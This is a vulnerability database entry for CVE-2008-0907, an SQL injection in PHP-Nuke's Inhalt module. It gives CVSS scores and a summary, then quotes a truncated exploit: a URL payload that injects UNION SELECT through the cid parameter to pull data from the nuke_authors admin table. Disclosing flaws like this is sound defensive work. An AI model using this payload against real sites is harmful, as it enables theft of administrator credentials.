7.5
CVSSv2

CVE-2008-0907

Published: 22/02/2008 Updated: 29/09/2017
CVSS v2 Base Score: 7.5 | Impact Score: 6.4 | Exploitability Score: 10
VMScore: 755
Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P

Vulnerability Summary

SQL injection vulnerability in the Inhalt module for PHP-Nuke allows remote malicious users to execute arbitrary SQL commands via the cid parameter.

Vulnerable Product Search on Vulmon Subscribe to Product

php-nuke inhalt module

Exploits

///////////////////////////////////////// Title : Php - Nuke Module Inhalt Sql Author : Crackers_Child Mail : Cashr00t@hotmailcom Exploit : modulesphp?name=Inhalt&sop=listpages&cid=-1/**/union/**/select/**/aid,2/**/from/**/nuke_authors/*where%20admin%20-2 modulesphp?name=Inhalt&sop=listpages&cid=-1/**/union/**/sele ...